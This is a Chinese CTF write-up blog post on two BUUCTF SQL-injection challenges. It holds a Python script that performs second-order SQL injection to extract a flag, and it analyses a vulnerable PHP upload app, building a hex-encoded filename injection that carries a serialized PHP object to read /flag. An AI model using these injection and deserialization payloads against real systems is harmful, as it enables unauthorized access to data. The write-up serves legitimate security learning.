BUUCTF-SQL注入做题笔记


二次注入

[网鼎杯2018]Unfinish

二次注入脚本:

import requests
import re
import logging
from time import sleep


def find():
    flag = ''
    sleep(0.5)
    url1 = "http://faed637a-b7bb-4843-a9e7-88eeb7cf9bdc.node4.buuoj.cn:81/register.php"
    url2 = "http://faed637a-b7bb-4843-a9e7-88eeb7cf9bdc.node4.buuoj.cn:81/login.php"
    for i in range(100):
        data1 = {
            "email": "chenluo{}@chenluo.com".format(i),
            "username": "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i),
            "password": "chenluo"
        }
        s1 = requests.post(url1,data1)
        data2 = {
            "email": "chenluo{}@chenluo.com".format(i),
            "password": "chenluo"
        }
        s2 = requests.post(url2,data2)
        result = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',s2.text)
        res1 = re.search(r'\d+', result.group())
        #print(res1.group())
        flag+=chr(int(res1.group()))
        print(flag)
    print("final:"+flag)

if __name__=='__main__':
    find()

不是文件上传(文件名SQL注入)

  • 查看源码:

helper.php:

<?php
class helper {
	protected $folder = "pic/";
	protected $ifview = False; 
	protected $config = "config.txt";
	// The function is not yet perfect, it is not open yet.

	public function upload($input="file")
	{
		$fileinfo = $this->getfile($input);
		$array = array();
		$array["title"] = $fileinfo['title'];
		$array["filename"] = $fileinfo['filename'];
		$array["ext"] = $fileinfo['ext'];
		$array["path"] = $fileinfo['path'];
		$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
		$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
		$array["attr"] = serialize($my_ext);
		$id = $this->save($array);
		if ($id == 0){
			die("Something wrong!");
		}
		echo "<br>";
		echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
	}

	public function getfile($input)
	{
		if(isset($input)){
			$rs = $this->check($_FILES[$input]);
		}
		return $rs;
	}

	public function check($info)
	{
		$basename = substr(md5(time().uniqid()),9,16);
		$filename = $info["name"];
		$ext = substr(strrchr($filename, '.'), 1);
		$cate_exts = array("jpg","gif","png","jpeg");
		if(!in_array($ext,$cate_exts)){
			die("<p>Please upload the correct image file!!!</p>");
		}
	    $title = str_replace(".".$ext,'',$filename);
	    return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
	}

	public function save($data)
	{
		if(!$data || !is_array($data)){
			die("Something wrong!");
		}
		$id = $this->insert_array($data);
		return $id;
	}

	public function insert_array($data)
	{	
		$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
		if (mysqli_connect_errno($con)) 
		{ 
		    die("Connect MySQL Fail:".mysqli_connect_error());
		}
		$sql_fields = array();
		$sql_val = array();
		foreach($data as $key=>$value){
			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
			$sql_fields[] = "`".$key_temp."`";
			$sql_val[] = "'".$value_temp."'";
		}
		$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
		mysqli_query($con, $sql);
		$id = mysqli_insert_id($con);
		mysqli_close($con);
		return $id;
	}

	public function view_files($path){
		if ($this->ifview == False){
			return False;
			//The function is not yet perfect, it is not open yet.
		}
		$content = file_get_contents($path);
		echo $content;
	}

	function __destruct(){
		# Read some config html
		$this->view_files($this->config);
	}
}

?>
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
//获取图片的相关属性		
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
//序列化图片属性		
$array["attr"] = serialize($my_ext);





$sql_fields = array();
		$sql_val = array();
		foreach($data as $key=>$value){
      //对键值对象处理
			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
			$sql_fields[] = "`".$key_temp."`";
			$sql_val[] = "'".$value_temp."'";
		}
//数据库插入语句,相当于INSERT INTO images('title,name,')
		$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";

//array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);

helper.phphelp类有一个destruct函数,可以读出文件内容

show.php

<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
	if($_GET["delete_all"] == "true"){
		$show->Delete_All_Images();
	}
}
$show->Get_All_Images();

class show{
	public $con;

	public function __construct(){
		$this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
		if (mysqli_connect_errno($this->con)){ 
   			die("Connect MySQL Fail:".mysqli_connect_error());
		}
	}

	public function Get_All_Images(){
		$sql = "SELECT * FROM images";
		$result = mysqli_query($this->con, $sql);
		if ($result->num_rows > 0){
		    while($row = $result->fetch_assoc()){
		    	if($row["attr"]){
		    		$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
					$attr = unserialize($attr_temp);
				}
		        echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
		    }
		}else{
		    echo "<p>You have not uploaded an image yet.</p>";
		}
		mysqli_close($this->con);
	}

	public function Delete_All_Images(){
		$sql = "DELETE FROM images";
		$result = mysqli_query($this->con, $sql);
	}
}
?>

upload.php

<?php
include("./helper.php");
class upload extends helper {
	public function upload_base(){
		$this->upload();
	}
}

if ($_FILES){
	if ($_FILES["file"]["error"]){
		die("Upload file failed.");
	}else{
		$file = new upload();
		$file->upload_base();
	}
}

$a = new helper();
?>

很显然程序的入口是$this->upload()

Upload:

//helper.php
	public function upload($input="file")
	{
    //调用getfile
		$fileinfo = $this->getfile($input);
    //获取传输的文件的信息
		$array = array();
		$array["title"] = $fileinfo['title'];
		$array["filename"] = $fileinfo['filename'];
		$array["ext"] = $fileinfo['ext'];
		$array["path"] = $fileinfo['path'];
		$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
		$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
    //这里有一个attr属性
		$array["attr"] = serialize($my_ext);
    //调用了save函数,参数是array数组
		$id = $this->save($array);
		if ($id == 0){
			die("Something wrong!");
		}
		echo "<br>";
		echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
	}

getfile:


public function getfile($input)
	{
		if(isset($input)){
      //调用check
			$rs = $this->check($_FILES[$input]);
		}
		return $rs;
	}

check:

public function check($info)
	{
		$basename = substr(md5(time().uniqid()),9,16);
		$filename = $info["name"];
		$ext = substr(strrchr($filename, '.'), 1);
		$cate_exts = array("jpg","gif","png","jpeg");
		if(!in_array($ext,$cate_exts)){
			die("<p>Please upload the correct image file!!!</p>");
		}
	    $title = str_replace(".".$ext,'',$filename);
	    return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
	}

这里可以看出我们只有title是可以控制的,也就是文件名的.前面的内容

Save:

public function save($data)
{
	if(!$data || !is_array($data)){
		die("Something wrong!");
	}
   //调用insert_array函数
	$id = $this->insert_array($data);
	return $id;
}

insert_array:

public function insert_array($data)
	{	
		$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
		if (mysqli_connect_errno($con)) 
		{ 
		    die("Connect MySQL Fail:".mysqli_connect_error());
		}
		$sql_fields = array();
		$sql_val = array();
		foreach($data as $key=>$value){
			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
			$sql_fields[] = "`".$key_temp."`";
			$sql_val[] = "'".$value_temp."'";
		}
  //相当于INSERT INTO images('title','filename','ext','path','attr') Values ('','','','',''),结合上面我们知道title可以控制
		$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
		mysqli_query($con, $sql);
		$id = mysqli_insert_id($con);
		mysqli_close($con);
		return $id;
	}

get_all_image:

public function Get_All_Images(){
		$sql = "SELECT * FROM images";
		$result = mysqli_query($this->con, $sql);
		if ($result->num_rows > 0){
		    while($row = $result->fetch_assoc()){
		    	if($row["attr"]){
		    		$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
            //会将attr属性反序列化,但是这时候attr是长和宽,见下图
					$attr = unserialize($attr_temp);
				}
		        echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
		    }
		}else{
		    echo "<p>You have not uploaded an image yet.</p>";
		}
		mysqli_close($this->con);
	}

image-20220612111833974

因此我们需要借助title修改attr的值,类似于字符串逃逸

正常情况下

(‘’,’’,’’,’’,’’)

字符串逃逸之后

(‘','','','','')('‘,’’,’’,’’,’’)

这样后边的字符串不会被SQL执行,中间的字符串我们完全可以控制

如何利用反序列化

destruct:

function __destruct(){
	# Read some config html
	//调用了view_files函数
   $this->view_files($this->config);
}

View_file:

public function view_files($path){
		if ($this->ifview == False){
			return False;
			//The function is not yet perfect, it is not open yet.
		}
  //这里可以查看$this->config指定文件路径的文件内容
		$content = file_get_contents($path);
		echo $content;
	}

因此,构造反序列化

<?php
class helper{
    protected $config = "/flag";
    protected $ifview = true;
}
$a =  new helper();
echo serialize($a);



//O:6:"helper":2:{s:9:"*config";s:5:"/flag";s:9:"*ifview";b:1;}

由于题目str_replace

O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

正常情况

INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('TIM截图
20191102114857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')

最后文件名不能有双引号,16进制编码一下

1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg

image-20220613084014369

最后访问show.php

image-20220612113200084


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录